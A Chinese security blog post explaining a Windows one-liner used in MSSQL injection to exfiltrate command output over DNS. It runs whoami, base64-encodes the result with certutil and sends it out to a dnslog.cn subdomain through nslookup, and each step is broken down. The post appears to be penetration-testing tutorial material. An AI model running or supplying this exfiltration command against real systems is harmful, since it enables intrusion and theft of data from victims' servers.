1. 极安网首页
  2. 网络安全技术

MSSQL注入DNS带外问题解决

我们先来看下原作者给出的DNS带外数据命令行版,可以直接执行并通过dnslog接收命令回显。继续来分析一下这条命令的参数和实现的功能吧,cmd参数说明如下。

/c:执行字符串指定的命令然后终止,
/v:使用 ! 作为分隔符启用延迟的环境变量。

  1. cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"

MSSQL注入DNS带外问题解决-极安网

执行whoami命令写入到temp文件中,并使用certutil命令进行base64编码到temp2文件。

  1. whoami > temp && certutil -encode temp temp2

MSSQL注入DNS带外问题解决-极安网

使用findstr命令在temp2文件中搜索不包含"CERTIFICATE"的行内容写入到temp3文件,/L参数:按字使用搜索字符串,/V参数:只打印不包含匹配的行。

  1. findstr /L /V "CERTIFICATE" temp2 > temp3

MSSQL注入DNS带外问题解决-极安网

MYVAR变量等于temp3文件内容,FINAL变量=MYVAR.DNSLOG,最后用nslookup命令执行FINAL:nslookup cGVudGVzdC13aW4xMFxzaGFkb3c5DQo=.xhwls9.dnslog.cn,没有nslookup命令时可用ping命令替代,执行这条命令时必须加上cmd的/v参数。

  1. set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"

MSSQL注入DNS带外问题解决-极安网

使用原作者给出的MSSQL注入DNS带外数据Payoad时出现了下图中的报错,笔者根据这个报错进行了一系列的测试,最终修改出以下可执行Payload,可以自己去对比一下它们之间的差别在哪。

原创文章,作者: Admin ,转载请注明出处:https://secvery.com/2918.html